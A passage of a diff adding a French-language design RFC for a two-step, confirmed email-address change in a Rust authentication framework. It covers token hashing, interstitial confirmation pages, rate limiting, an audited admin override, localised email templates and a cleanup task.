310 + /// - [`AppError::Forbidden`] — `actor_id` is not an administrator.
311 + /// - [`AppError::Validation`] — malformed address, or address already
312 + /// taken by another account.
313 + /// - [`AppError::NotFound`] — unknown `actor_id` or unknown `user_id`.
314 + pub async fn admin_force_change(
315 + &self,
316 + db: &DatabaseConnection,
317 + actor_id: Uuid,
318 + user_id: Uuid,
319 + new_email: &str,
320 + hooks: Option<&Arc<dyn RustwardenHooks>>,
321 + ) -> Result<(), AppError> { /* ... */ }
322 +
323 + /// Record that the current address owner flagged a request as suspicious.
324 + ///
325 + /// Writes an `audit_logs` row, emits
326 + /// [`RustwardenHooks::on_audit_event`] with kind `user.email_change_reported`
327 + /// and queues an alert to every administrator.
328 + ///
329 + /// **This never blocks the change.** A report is a signal for operators,
330 + /// not an authorisation gate: turning it into one would hand any reader of
331 + /// the old mailbox a denial-of-service lever over the account owner.
332 + ///
333 + /// Idempotent: a request already reported returns `Ok` without re-notifying.
334 + ///
335 + /// # Errors
336 + ///
337 + /// - [`AppError::Validation`] — unknown report token.
338 + pub async fn report_suspicious(
339 + &self,
340 + db: &DatabaseConnection,
341 + report_token: &str,
342 + hooks: Option<&Arc<dyn RustwardenHooks>>,
343 + ) -> Result<Uuid, AppError> { /* ... */ }
344 +
345 + /// Hard-delete rows expired for longer than
346 + /// `PENDING_EMAIL_CHANGE_RETENTION_DAYS` (30 days, a compile-time
347 + /// constant — no environment variable).
348 + ///
349 + /// Returns the number of deleted rows. Called by
350 + /// [`PendingEmailChangeCleanupProcessor`](crate::tasks::pending_email_change_cleanup::PendingEmailChangeCleanupProcessor),
351 + /// and public so a consumer can drive it from its own cron instead. **The
352 + /// framework starts nothing by itself**: the consumer must call
353 + /// `.start()` on the processor (see the RFC's retention section).
354 + pub async fn cleanup_expired(db: &DatabaseConnection) -> Result<u64, AppError> { /* ... */ }
355 +
356 + /// Hash a token using SHA-256.
357 + fn hash_token(token: &str) -> String { /* ... */ }
358 +
359 + /// Mark every pending request of this user as consumed.
360 + async fn invalidate_previous_requests(
361 + &self,
362 + db: &DatabaseConnection,
363 + user_id: Uuid,
364 + ) -> Result<(), AppError> { /* ... */ }
365 +}
366 +```
367 +
368 +#### `request_change` — séquence
369 +
370 +1. `self.rate_limiter.check_sliding_window(&format!("email_change:{user_id}"), EMAIL_CHANGE_RATE_LIMIT_MAX, EMAIL_CHANGE_RATE_LIMIT_WINDOW)?` — check+record atomique, patron [`password_reset_service.rs`](../../crates/rustwarden-core/src/services/password_reset_service.rs) L110-114. La clé est le **`user_id`** (pas l'adresse cible) : l'abus à limiter est « un compte qui spamme des boîtes tierces ».
371 +2. `UserService::get_user_by_id(db, user_id)?` → `AppError::NotFound` sinon.
372 +3. `AuthService::verify_credentials(db, &user.email, current_password).await?`. L'identifiant passé est l'adresse **courante** : elle contient `'@'`, donc la branche e-mail de `verify_credentials` ([`auth_service.rs`](../../crates/rustwarden-core/src/services/auth_service.rs) L55-65) est empruntée de façon déterministe, y compris pour les usernames hérités contenant un `@`. `verify_credentials` — et non `authenticate_user` — est utilisé volontairement : la politique `validation_email_required` de la RFC 0040 n'a pas à s'appliquer ici.
373 +4. Normalisation : `let trimmed = new_email.trim();`
374 + - `!trimmed.contains('@') || !trimmed.contains('.')` → `AppError::Validation("Invalid email format")` (message **identique** à celui de `update_profile` aujourd'hui, `user_service.rs` L280).
375 + - `trimmed == user.email` → `AppError::Validation("New email address is identical to the current one")`.
376 + - `UserService::get_user_by_email(db, trimmed)?` renvoie un autre utilisateur → `AppError::Validation(format!("Email '{trimmed}' already exists"))`.
377 +5. `self.invalidate_previous_requests(db, user_id).await?` — une demande active à la fois. Dans la foulée, **purge opportuniste** des lignes de cet utilisateur expirées depuis plus de `PENDING_EMAIL_CHANGE_RETENTION_DAYS` (§ « Rétention et tâche de fond »).
378 +6. Deux tokens `Uuid::new_v4().to_string()`, hashés par `Self::hash_token` (SHA-256 hex, patron `email_validation_service.rs` L368-372). `expires_at = Utc::now() + Duration::hours(config::tasks::email_validation_expiration_hours())`.
379 +7. `INSERT` de la ligne `pending_email_changes`.
380 +8. Deux `EmailQueueService::enqueue` (signature à 9 arguments, [`email_queue_service.rs`](../../crates/rustwarden-core/src/services/email_queue_service.rs) L41-51) :
381 + - `to_email = trimmed`, type `"email_change_validation"`, URL `{email_base_url}/api/v1/auth/email-change/confirm/{token}` ;
382 + - `to_email = user.email`, type `"email_change_notice"`, URL `{email_base_url}/api/v1/auth/email-change/report/{report_token}`, **plus** l'adresse candidate affichée **masquée** (`mask_email`, aujourd'hui `user_service.rs` L16, à déplacer en `pub(crate)` dans un module partagé).
383 +
384 + Les deux URL sont des `GET` qui **rendent une page** et n'exécutent rien (§ « Page interstitielle ») : le texte des mails doit donc annoncer « cliquez, puis confirmez sur la page qui s'ouvre », et non « cliquez pour confirmer ».
385 +
386 +**Contrat sur SMTP.** Contrairement à la v1, l'échec d'enqueue **n'est pas** best-effort : sans mail, la demande est inutilisable. Si `EmailConfig::from_env()` échoue, le handler ne construit même pas le service et renvoie `AppError::Config`. Si un `enqueue` échoue après l'`INSERT`, l'erreur remonte ; la ligne orpheline expire en 24 h et ne modifie rien. Ce choix est sûr précisément parce que **rien n'a été écrit dans `users`**.
387 +
388 +#### `confirm_change` — séquence
389 +
390 +1. `let token_hash = Self::hash_token(token);` puis lookup par `token_hash`. Absent → `AppError::Validation("Invalid email-change token")`.
391 +2. `used_at.is_some()` → `Validation("This email-change link has already been used")`.
392 +3. `is_expired()` → `Validation("This email-change link has expired")`.
393 +4. `reported_at.is_some()` → **on continue**. Le signalement ne bloque pas (§ dédiée).
394 +5. Re-contrôle d'unicité : `UserService::get_user_by_email(db, &row.new_email)?`. Si un **autre** utilisateur la détient → `Validation("This email address is no longer available. Request the change again with a different address.")`, et la ligne **n'est pas** marquée `used_at` (la demande reste utilisable si l'adresse se libère avant expiration). Filet de sécurité : `users.email` porte une contrainte `UNIQUE` en base ([`m20260305_000001_initial_schema.rs`](../../crates/rustwarden-core/src/migrations/m20260305_000001_initial_schema.rs) L25-30) ; une violation concurrente renvoyée par SeaORM doit être traduite en ce même `Validation` et **jamais** propagée en `AppError::Database` (500).
395 +6. `UPDATE users` : `email = new_email`, `email_verified = true`, `email_verified_at = Some(now)`, `updated_at = now`.
396 +7. `UPDATE pending_email_changes` : `used_at = Some(now)`.
397 +8. `RefreshTokenService::revoke_all_tokens_for_user(db, user_id).await?` ([`refresh_token_service.rs`](../../crates/rustwarden-core/src/services/refresh_token_service.rs) L354-380). Même politique que `change_password_direct` (`user_service.rs` L678) et `admin_reset_password` (L631) : l'identité de connexion vient de changer, toutes les sessions repassent par l'authentification.
398 +9. `PasswordChangeService::invalidate_on_email_change(db, user_id).await` ([`password_change_service.rs`](../../crates/rustwarden-core/src/services/password_change_service.rs) L331-357) — **tranché le 2026-09-19 : l'appel migre de l'UI vers le core**. Il était jusqu'ici émis par `rustwarden-ui` au moment de l'édition du profil (`settings/profile.rs` L55-68), c'est-à-dire au moment où la v1 écrivait l'adresse. Avec la v2, **l'UI n'est plus dans la boucle** à l'instant où l'adresse change réellement : le clic sur le lien de confirmation atterrit dans une route du core, souvent dans un autre navigateur que celui de la session qui a ouvert la demande. Laisser l'appel côté handler UI reviendrait donc à le perdre silencieusement — une demande de changement de mot de passe pendante, dont le lien a été envoyé à l'**ancienne** adresse, resterait confirmable après que cette adresse a cessé d'appartenir au compte. Erreur seulement loguée (`tracing::warn!`) : l'échec de la purge ne doit pas annuler un changement d'adresse déjà écrit.
399 +10. Ligne `audit_logs` (`action = "email_changed"`, `level = "INFO"`, message avec adresses **masquées**), patron [`auth_logging.rs`](../../crates/rustwarden-core/src/services/auth_logging.rs) L34-48.
400 +11. Hooks, **dispatchés depuis le service** (patron `AuthLoggingService`, qui écrit sa ligne d'audit *et* émet son `AuditEvent` dans la même méthode — `auth_logging.rs` L25-64), best-effort, erreurs seulement loguées. **Tranché le 2026-09-19** : dispatch côté service et non côté handler, pour que tout consommateur headless qui monte sa propre route de confirmation (cf. § Routes, contrainte headless) reçoive les mêmes événements sans avoir à les ré-émettre :
401 + - `hooks.on_email_verified(db, user_id)` — l'ouverture du lien **suivie de la confirmation sur la page** est une preuve de possession, sémantiquement identique (et même légèrement plus forte, puisqu'elle exige une action humaine) au chemin `verify_email` ([`auth/handlers.rs`](../../crates/rustwarden-core/src/auth/handlers.rs) L1221-1225). L'élargissement du contrat du hook est **assumé et documenté** : il signifie désormais « l'adresse du compte est prouvée à cet instant », quelle que soit la porte de preuve (validation initiale ou changement confirmé). Aucun consommateur existant ne casse : le hook était déjà émis après une preuve de possession, il l'est simplement sur un second chemin.
402 + - `hooks.on_audit_event(db, AuditEvent { kind: "user.email_changed", actor_id: Some(user_id), target: Some(("user", user_id)), metadata })` — acteur et cible sont le même compte sur ce chemin libre-service, mais la cible est **nommée quand même**, pour qu'un consommateur qui route sur `target` voie ce chemin comme il voit `user.email_changed_by_admin` (cf. § Couverture réelle) ([`hooks.rs`](../../crates/rustwarden-core/src/hooks.rs) L38-48 pour la struct, L251-257 pour la méthode).
403 +
404 +#### `report_suspicious` — séquence
405 +
406 +1. Lookup par `report_token_hash`. Absent → `Validation("Invalid report token")`.
407 +2. `reported_at.is_some()` → `Ok(user_id)` immédiat, **sans** ré-envoi de mail. Cette idempotence reste nécessaire même avec la page interstitielle : un double clic sur le bouton, un rafraîchissement de la page de résultat ou un renvoi de formulaire par le navigateur produisent deux `POST`.
408 +3. Sinon `reported_at = Some(now)`, même si la demande est expirée ou déjà consommée : le signal garde sa valeur pour l'exploitant.
409 +4. Ligne `audit_logs` : `action = "email_change_reported"`, `level = "WARN"`, `target_user_id = Some(user_id)`.
410 +5. `hooks.on_audit_event(db, AuditEvent { kind: "user.email_change_reported", .. })`.
411 +6. `UserService::get_all_admin_users(db)?` (`user_service.rs` L467-492) puis un `enqueue` par administrateur, type `"email_change_reported"`. Patron de notification admin existant : `crates/rustwarden-ui/src/handlers/user_handler.rs` L182-198.
412 +
413 +#### Pourquoi le signalement ne bloque pas
414 +
415 +Décision explicite du mainteneur, et elle se défend :
416 +
417 +- **Un lien de signalement bloquant est une arme de déni de service.** Toute personne qui lit l'ancienne boîte — collègue, ex-conjoint, employeur sur une adresse pro, passerelle anti-phishing qui pré-charge les URL — pourrait geler le changement du **titulaire légitime**, alors que celui-ci vient de prouver qu'il connaît le mot de passe.
418 +- **Le cas d'usage dominant est précisément « je n'ai plus accès à l'ancienne boîte »** (voir § scénarios). Bloquer sur une action de l'ancienne boîte reviendrait à en faire un second facteur obligatoire, ce qu'elle n'est pas.
419 +- **Le blocage réel existe déjà en amont** : le mot de passe. Le signalement couvre le scénario « mot de passe compromis », et dans ce scénario la bonne réponse opératoire est l'intervention admin (révocation, reset), pas un verrou automatique posé par un lien cliquable.
420 +- **La pré-lecture automatique des liens rendrait le blocage non fiable** : une passerelle qui `GET` le lien de signalement déclencherait le verrou sans intention humaine. Avec un signalement non bloquant, le pire cas d'une pré-lecture est une alerte admin en faux positif — coût nul. (Depuis la décision du 2026-09-19, le signalement passe de toute façon par une page interstitielle et un `POST` — cf. § Routes — donc la pré-lecture ne déclenche plus rien du tout ; l'argument reste comme défense en profondeur.)
421 +
422 +#### `admin_force_change` — séquence et garde-fous
423 +
424 +**Tranché le 2026-09-19 : le recours administrateur est une méthode dédiée, pas un retour discret de l'écriture directe dans `update_profile`.**
425 +
426 +Le raisonnement : la v1 permettait à un opérateur de corriger une adresse via `PUT /admin/users/{id}` → `update_profile`. Cette RFC rend `update_profile` fail-loud sur tout changement d'adresse (§ 5), ce qui **supprimerait** la capacité opérationnelle si rien ne la remplaçait — or elle est indispensable au seul scénario que le flux en deux temps ne peut pas résoudre (mot de passe **et** ancienne boîte perdus, cf. § Scénarios). On la préserve donc, mais en la rendant **explicite, autorisée et auditée** au lieu d'un effet de bord d'une méthode de profil.
427 +
428 +1. `UserService::get_user_roles(db, actor_id).await?` (`user_service.rs` L184-207) ; si `"admin"` n'y figure pas → `AppError::Forbidden`, **rien n'est écrit, aucun mail**. La vérification est faite **dans le service**, en plus du middleware de route du consommateur : un appel headless direct au service ne doit pas court-circuiter l'autorisation. Acteur inconnu → `AppError::NotFound`.
429 +2. `UserService::get_user_by_id(db, user_id)?` → `AppError::NotFound` sinon. Auto-ciblage (`actor_id == user_id`) **autorisé** : un admin qui change sa propre adresse reste un admin agissant en tant qu'admin, et la trace d'audit le montre.
430 +3. Normalisation et contrôles identiques à `request_change` (format, unicité) — **sauf** le contrôle « adresse identique à l'actuelle », qui devient un no-op silencieux `Ok(())` : `PUT /admin/users/{id}` renvoie tous les champs du formulaire, un écho de l'adresse courante ne doit pas échouer.
431 +4. `invalidate_previous_requests(db, user_id)` : toute demande pendante de la cible est consommée. Sans cela, un lien de confirmation encore valide pourrait, après coup, réécrire l'adresse que l'opérateur vient de poser.
432 +5. `UPDATE users` : `email = new_email`, `email_verified = true`, `email_verified_at = Some(now)`, `updated_at = now`. Le flag vérifié est posé parce que l'opérateur **engage sa vérification hors bande** ; c'est exactement ce que fait déjà `admin_reset_password` avec le mot de passe (`user_service.rs` L613-635).
433 +6. `RefreshTokenService::revoke_all_tokens_for_user(db, user_id)` — sessions de la **cible** uniquement. Si l'opérateur intervient précisément parce que le compte est compromis, laisser vivre les sessions existantes viderait l'opération de son sens.
434 +7. `PasswordChangeService::invalidate_on_email_change(db, user_id)` — même motif qu'en `confirm_change`.
435 +8. Ligne `audit_logs` : `action = "email_changed_by_admin"`, `level = "WARN"` (et non `INFO` : une écriture d'identité sans preuve de possession mérite d'être remontée), `user_id = Some(actor_id)`, `target_user_id = Some(user_id)`, message avec adresses **masquées**.
436 +9. `hooks.on_audit_event(db, AuditEvent { kind: "user.email_changed_by_admin", actor_id: Some(actor_id), target: Some(("user", user_id)), metadata })`. **`on_email_verified` n'est pas émis** : il n'y a eu aucune preuve de possession de l'adresse par son titulaire, et le contrat du hook (« l'adresse est prouvée ») serait faux. C'est la différence de fond avec `confirm_change`.
437 +10. Deux `enqueue`, sans lien d'action (il n'y a plus rien à confirmer) : un avis à l'**ancienne** adresse (« votre adresse de connexion a été modifiée par un administrateur ») et un avis à la **nouvelle**. Type de queue `"email_change_by_admin"`. Contrairement à `request_change`, l'échec d'enqueue est ici **best-effort** et seulement logué : l'écriture est déjà faite et l'opérateur, contrairement à l'utilisateur, a un retour synchrone de l'opération.
438 +
439 +Ce que la méthode **ne fait pas** : aucun rate limit (l'autorisation est le rôle, pas un budget), aucune vérification du mot de passe de l'acteur (le middleware d'admin du consommateur décide de sa propre politique de ré-authentification), aucune restauration possible en un clic — un retour arrière est un second `admin_force_change`, tracé comme tel.
440 +
441 +### 4. Routes
442 +
443 +Toutes sur le **canal machine** ([`auth/routes.rs`](../../crates/rustwarden-core/src/auth/routes.rs), monté via `merge_machine_routes`, jamais derrière la couche CSRF — cf. rustdoc L11-23).
444 +
445 +| Méthode | Chemin | Auth | Groupe de routeur |
446 +|---|---|---|---|
447 +| `POST` | `/api/v1/auth/email-change` | `AuthUser` (Bearer) | `limited` |
448 +| `GET` | `/api/v1/auth/email-change/confirm/{token}` | public (lien de mail) | `unlimited` |
449 +| `POST` | `/api/v1/auth/email-change/confirm/{token}` | public (soumission du formulaire) | `unlimited` |
450 +| `GET` | `/api/v1/auth/email-change/report/{token}` | public (lien de mail) | `unlimited` |
451 +| `POST` | `/api/v1/auth/email-change/report/{token}` | public (soumission du formulaire) | `unlimited` |
452 +
453 +Corps du `POST /email-change` : `{ "new_email": "...", "current_password": "..." }`. Réponse `200` `{ "message": "...", "pending_email": "<masqué>" }`.
454 +
455 +#### Page interstitielle : `GET` → bouton → `POST` sur les **deux** liens
456 +
457 +**Tranché le 2026-09-19 : aucun `GET` n'a d'effet de bord.** Les deux liens envoyés par e-mail — confirmation **et** signalement — pointent vers un `GET` qui se contente de **rendre une page HTML contenant un formulaire `POST`** ; c'est le clic humain sur le bouton de cette page qui appelle le service. D'où quatre routes au lieu de deux.
458 +
459 +| Route | Effet |
460 +|---|---|
461 +| `GET .../confirm/{token}` | Rend la page « Confirmer le changement d'adresse ». **Aucune écriture.** La demande n'est **pas** consommée, `users.email` n'est pas touché. |
462 +| `POST .../confirm/{token}` | Appelle `EmailChangeService::confirm_change` et rend la page de résultat. |
463 +| `GET .../report/{token}` | Rend la page « Signaler cette demande ». **Aucune écriture.** `reported_at` reste `NULL`. |
464 +| `POST .../report/{token}` | Appelle `EmailChangeService::report_suspicious` et rend la page de résultat. |
465 +
466 +Motif : **aucun préchargement de passerelle anti-phishing ne peut déclencher l'action**. Les passerelles de sécurité mail (Defender, Proofpoint, Barracuda…) et les clients qui génèrent un aperçu de lien émettent des `GET`, jamais des `POST` de formulaire. Le flux existant `verify-email/{token}` reste, lui, un `GET` agissant — c'est une **dette connue et non traitée ici** (elle ne relève pas de cette RFC), mais le nouveau flux ne la réplique pas : le changement d'adresse écrit l'identité de connexion du compte, il mérite une preuve d'intention humaine et pas seulement une preuve de joignabilité de la boîte.
467 +
468 +Le `GET` du lien de confirmation **pré-valide quand même le token** pour afficher un message utile (« ce lien a expiré », « ce lien a déjà été utilisé ») ; cette lecture est en lecture seule. L'idempotence de `report_suspicious` (§ dédiée) reste implémentée : elle ne protège plus d'un préchargement, mais d'un double clic ou d'un rafraîchissement de page.
469 +
470 +**Pas de couche CSRF, et ce n'est pas un trou** : ces routes vivent sur le canal machine (`merge_machine_routes`), hors CSRF par construction. Un `POST` inter-site forgé n'apporte rien à un attaquant, puisqu'il lui faudrait **déjà connaître le token** (UUID v4, 122 bits, envoyé dans une boîte qu'il ne lit pas) — et s'il le connaît, il peut appeler la route directement.
471 +
472 +#### Contrainte headless : la page ne dépend ni d'Askama ni de `rustwarden-ui`
473 +
474 +`rustwarden-core` ne doit **jamais** exiger une UI pour fonctionner. La page interstitielle et la page de résultat sont donc du **HTML minimal autoportant, construit dans le handler du core** :
475 +
476 +- aucune dépendance à `rustwarden-ui` (qui est optionnel et peut ne pas être monté) ;
477 +- aucun template Askama, aucun fichier dans `templates/`, donc rien à charger depuis le disque au runtime et aucune erreur `AppError::Template` possible sur ce chemin ;
478 +- un `String` HTML construit par `format!` dans le handler, renvoyé en `Html<String>` avec `Content-Type: text/html; charset=utf-8` ; structure minimale (`<!DOCTYPE html>`, un titre, un paragraphe, un `<form method="post" action="…">` avec un unique `<button>`), style inline réduit au strict lisible, **aucun JavaScript**, **aucune ressource externe** (pas de CSS ni de police distante — la page doit s'afficher correctement dans un navigateur sans réseau vers le CDN et ne doit pas violer la CSP du consommateur) ;
479 +- libellés **traduits** via l'`I18nService` quand il est injecté, repli sur les chaînes embarquées sinon — même contrat que les templates d'e-mail (§ 7) ;
480 +- l'`action` du formulaire est un chemin **relatif** (`./`, c'est-à-dire la même URL en `POST`), pour que la page reste correcte quel que soit le préfixe sous lequel le consommateur a monté les routes.
481 +
482 +**Surchargeable.** Un consommateur qui veut sa propre présentation **monte sa propre route** `GET` sur le même chemin (ou sur un chemin à lui, en surchargeant l'URL des e-mails via `email_base_url`) et rend ce qu'il veut, du moment que son formulaire poste vers la route `POST` du core. Le point d'extension est la **route**, pas un trait de rendu : c'est le patron déjà utilisé dans le dépôt (le core expose une route par défaut, le consommateur la remplace dans son routeur) et il évite d'introduire une abstraction de templating dans `rustwarden-core`.
483 +
484 +> **Ce que remplace cette décision.** Le Draft envisageait un `EmailChangeResultTemplate` Askama, frère de `email_verified.html` (patron `EmailVerifiedTemplate`, `auth/handlers.rs` L208-229). Cette piste est **abandonnée** : elle lie le chemin de confirmation à la présence d'un template sur disque, ce qui est exactement ce qu'un consommateur headless ne veut pas.
485 +
486 +#### Rate limit : le `POST /api/v1/auth/email-change` doit-il passer sous `auth_ip_rate_limit` ?
487 +
488 +**Oui — retenu.** Justification :
489 +
490 +- La couche [`auth_ip_rate_limit`](../../crates/rustwarden-core/src/middleware/rate_limit.rs) L223-229 est **par IP**, 10 requêtes/minute par défaut (`DEFAULT_AUTH_MAX_PER_MINUTE`, L85 ; surchargeable via `RATE_LIMIT_AUTH_PER_MINUTE`). Elle est déjà appliquée au groupe `limited` de `auth/routes.rs` (L53-55).
491 +- Le `POST` déclenche un **bcrypt** par appel (`verify_credentials`). C'est un endpoint coûteux en CPU : il appartient à la même famille que `/login` et `/2fa/verify`, tous deux dans `limited`.
492 +- Le limiteur par utilisateur du service (3/h) protège la boîte cible ; le limiteur par IP protège le **serveur**. Les deux sont complémentaires, pas redondants.
493 +- Coût : tous les utilisateurs derrière un même NAT partagent 10 req/min. Pour un endpoint utilisé quelques fois dans la vie d'un compte, c'est sans conséquence pratique.
494 +
495 +**Les quatre routes de lien (les deux `GET` et les deux `POST`) restent hors couche IP**, dans `unlimited`, comme `verify-email/{token}` aujourd'hui (L64-67). Trois raisons :
496 +
497 +- le brute-force de token est hors d'atteinte (UUID v4 → 122 bits d'entropie), donc le limiteur n'apporterait aucune sécurité ;
498 +- ces routes ne font **aucun bcrypt** — le coût serveur est un `SELECT` indexé pour les `GET`, quelques `UPDATE` pour les `POST`. Seul `POST .../report/{token}` met des mails en file (un par administrateur), et il faut déjà détenir le token de signalement pour l'atteindre ; l'idempotence de `report_suspicious` borne d'ailleurs l'envoi à **un seul lot par demande**, quel que soit le nombre d'appels ;
499 +- un limiteur par IP pénaliserait les passerelles mail mutualisées et les grands NAT d'entreprise, qui présentent des milliers d'utilisateurs derrière une seule adresse.
500 +
501 +Le seul `POST` protégé par le budget IP est donc `POST /api/v1/auth/email-change` (ouverture de demande), qui est aussi le seul à déclencher un bcrypt et deux envois de mail.
502 +
503 +### 5. `UserService::update_profile` — fail-loud
504 +
505 +La branche e-mail v1 (`user_service.rs` L277-301) et `notify_email_change` (L327-419) sont **supprimées**. À la place :
506 +
507 +```rust
508 +if let Some(new_email) = &email {
509 + let trimmed = new_email.trim();
510 + // Echoing the current address stays a no-op: profile forms submit every
511 + // field, so an unchanged value must not be treated as a change request.
512 + if trimmed != user.email.as_str() {
513 + return Err(AppError::Validation(
514 + "Email changes are not handled by update_profile; call \
515 + EmailChangeService::request_change (POST /api/v1/auth/email-change) \
516 + — the address is only written once the change is confirmed from \
517 + the link mailed to it."
518 + .to_string(),
519 + ));
520 + }
521 +}
522 +```
523 +
524 +**Fail-loud, pas d'ignorance silencieuse** : un consommateur qui continue d'envoyer une nouvelle adresse à `update_profile` obtient une `400` explicite pointant vers la bonne API, au lieu d'un succès mensonger où l'adresse ne bouge pas. La signature reste identique, donc **tout code consommateur compile sans modification**.
525 +
526 +**Cas administrateur.** `PUT /admin/users/{id}` passe aujourd'hui par le même `update_profile` et tombe donc sous la même erreur. Ce n'est pas une perte de capacité : le chemin opérateur devient `EmailChangeService::admin_force_change` (§ 3), qui fait explicitement — et en le traçant — ce que l'ancien chemin faisait par effet de bord. Le message d'erreur d'`update_profile` reste volontairement générique et pointe vers `EmailChangeService` : c'est le point d'entrée unique, la méthode exacte dépend de qui appelle.
527 +
528 +Effets de bord à traiter dans le même patch :
529 +- `mask_email` (`user_service.rs` L16) n'a plus d'appelant dans `user_service` → déplacer en helper `pub(crate)` consommé par `EmailChangeService` (le test `mask_email_never_leaks_full_address`, L1177, suit).
530 +- La § « Email revalidation (RFC 0038) » du rustdoc de `update_profile` (L213-239) est remplacée par le renvoi vers `EmailChangeService`.
531 +
532 +### 6. Adaptation minimale de `rustwarden-ui` (non cassante)
533 +
534 +`crates/rustwarden-ui/src/handlers/settings/profile.rs` poste `username` **et** `email` (L24-29, L50-51). Le formulaire renverrait donc l'adresse inchangée à chaque enregistrement : couvert par la branche no-op ci-dessus, aucune erreur. Trois retraits suffisent :
535 +
536 +- supprimer le calcul `email_was_changed` (L41-48) et l'appel à `PasswordChangeService::invalidate_on_email_change` (L55-68) — il n'y a plus de changement d'e-mail à ce point du flux. **L'appel n'est pas supprimé, il est déplacé** (tranché le 2026-09-19) : il vit désormais dans `EmailChangeService::confirm_change` (étape 9) et dans `admin_force_change` (étape 7), c'est-à-dire aux deux seuls endroits où `users.email` change réellement. Ce déplacement est la raison même de la décision : avec la v2, l'UI n'est plus dans la boucle à cet instant, garder l'appel côté handler le perdrait silencieusement ;
537 +- ne plus transmettre `request.email` à `update_profile`, ou le transmettre tel quel (no-op) — au choix, les deux sont sûrs ;
538 +- mettre à jour les commentaires `// RFC 0038` (L43, L70-74).
539 +
540 +Tout le reste — écran « demande en cours », bouton d'annulation, double saisie, appel au nouvel endpoint depuis le formulaire — est **hors scope** et fera l'objet d'un travail UI dédié.
541 +
542 +### 7. Templates d'e-mail et locales
543 +
544 +**Quatre** templates Askama dans `crates/rustwarden-core/templates/emails/`, sur le patron de `email_validation.html` / `EmailValidationTemplate` ([`email_templates.rs`](../../crates/rustwarden-core/src/templates/email_templates.rs) L377-494). Askama est ici légitime et sans conflit avec la contrainte headless de la § Routes : les e-mails sont produits par le service, pas par une route HTTP, et le framework rend déjà ses mails ainsi.
545 +
546 +| Fichier | Struct | Destinataire | Contenu |
547 +|---|---|---|---|
548 +| `email_change_validation.html` | `EmailChangeValidationTemplate` | nouvelle adresse | lien vers la **page de confirmation**, durée de validité, « si vous n'êtes pas à l'origine de cette demande, ignorez ce message » |
549 +| `email_change_notice.html` | `EmailChangeNoticeTemplate` | adresse courante | adresse candidate **masquée**, rappel que le compte n'a pas changé, lien vers la **page de signalement** |
550 +| `email_change_reported_admin.html` | `EmailChangeReportedAdminTemplate` | administrateurs | username, adresses masquées, horodatage, rappel que le changement **n'est pas** bloqué |
551 +| `email_change_by_admin.html` | `EmailChangeByAdminTemplate` | ancienne **et** nouvelle adresse | adresses masquées, mention explicite « modification effectuée par un administrateur », **aucun lien d'action** (il n'y a rien à confirmer ni à signaler), invitation à contacter le support en cas de doute |
552 +
553 +Le quatrième template est la conséquence directe de la décision n° 1 : `admin_force_change` doit prévenir les deux boîtes. Il porte un seul corps, rendu deux fois (une fois par destinataire) ; c'est le même contenu pour les deux, puisque les deux personnes — s'il y en a deux — ont besoin de la même information.
554 +
555 +Les libellés des liens doivent refléter le schéma `GET` → page → `POST` : « Ouvrir la page de confirmation », pas « Confirmer » ; « Ouvrir la page de signalement », pas « Signaler ».
556 +
557 +**Six locales.** Les templates d'e-mail existants codent `fr`/`en` en dur (branches `{% if locale == "fr" %}` et `render_text()` à deux branches, L444-492) tandis que les sujets sont choisis par un `match` à quatre branches (`fr`/`de`/`es`/`_`, `email_validation_service.rs` L159-165). Les nouveaux templates **ne reproduisent pas** cette dette :
558 +
559 +- nouvelles clés sous une section `email_change:` dans les **six** fichiers `crates/rustwarden-core/locales/{fr,en,de,es,it,pt}.yml` : sujets, titre, salutation, corps, libellé de bouton, mention d'expiration, pied de page des **quatre** e-mails, **plus** les libellés des **pages interstitielles et des pages de résultat** des deux liens (titre, question posée, libellé du bouton, messages de succès et d'échec). Bien les **six de `rustwarden-core`**, pas ceux de `rustwarden-ui` : le service, les templates et les routes vivent dans le core, et le périmètre de cette RFC est core-only. Les deux jeux de fichiers existent en parallèle (`crates/rustwarden-core/locales/` pour le framework, `crates/rustwarden-ui/locales/` pour les écrans) ;
560 +- les structs de template reçoivent des champs **déjà traduits**, patron `ProfileTemplate` de `rustwarden-ui` (`settings/profile.rs` L250-263, chaque champ alimenté par `i18n_service.translate(...)`) ;
561 +- la locale du destinataire vient de `user_preferences.language` (`crates/rustwarden-core/src/models/user_preferences.rs` L22, lue via `UserPreferencesService::get_preferences`), avec repli sur [`config::tasks::default_locale()`](../../crates/rustwarden-core/src/config/tasks.rs) L150-152 ;
562 +- sans `I18nService` injecté (`EmailChangeService::new` sans `with_i18n`), les templates **et les pages interstitielles** retombent sur les chaînes de repli embarquées dans le code — le service et ses routes restent utilisables en headless sans aucune plomberie i18n ni fichier de locale.
563 +
564 +> **Dette existante à ne pas répliquer** : `crates/rustwarden-core/locales/de.yml` et `es.yml` (67 lignes) n'ont pas la section `password_change_confirmation:` présente dans `fr`/`en`/`it`/`pt`. La section `email_change:` doit être ajoutée aux **six** fichiers, sans exception.
565 +
566 +### 8. Rétention et tâche de fond
567 +
568 +**Tranché le 2026-09-19 : un `PendingEmailChangeCleanupProcessor` en bonne et due forme, calqué sur [`PersonalTokenCleanupProcessor`](../../crates/rustwarden-core/src/tasks/personal_token_cleanup.rs) (L18-50), *plus* une méthode publique `cleanup_expired`.** Le Draft recommandait de ne pas ajouter de processeur, au motif que le framework n'en démarre aucun de son propre chef. L'arbitrage retient l'inverse : le fait que `app.rs` ne démarre pas les processeurs de purge est une **propriété du câblage**, pas une raison de ne pas fournir la primitive planifiable. Le consommateur qui veut la purge ne doit pas avoir à réécrire une boucle `tokio::interval` que le framework sait déjà écrire.
569 +
570 +1. **Processeur** `crates/rustwarden-core/src/tasks/pending_email_change_cleanup.rs`, déclaré dans `tasks/mod.rs` et re-exporté dans le prelude (`lib.rs`, à côté de `PersonalTokenCleanupProcessor` L66) :
571 +
572 + ```rust
573 + /// Background processor that hard-deletes `pending_email_changes` rows
574 + /// expired for longer than the retention window.
575 + ///
576 + /// Mirrors [`PersonalTokenCleanupProcessor`](crate::tasks::personal_token_cleanup::PersonalTokenCleanupProcessor):
577 + /// **the framework never starts it**. `app.rs` leaves it alone on purpose —
578 + /// the consumer owns its scheduling policy and calls `.start()` if it wants
579 + /// the purge. Nothing breaks when it is never started: rows simply
580 + /// accumulate, and the opportunistic purge below keeps the common case
581 + /// bounded.
582 + pub struct PendingEmailChangeCleanupProcessor {
583 + db: Arc<DatabaseConnection>,
584 + }
585 +
586 + impl PendingEmailChangeCleanupProcessor {
587 + /// Create a processor bound to the given database connection.
588 + pub fn new(db: Arc<DatabaseConnection>) -> Self { /* ... */ }
589 +
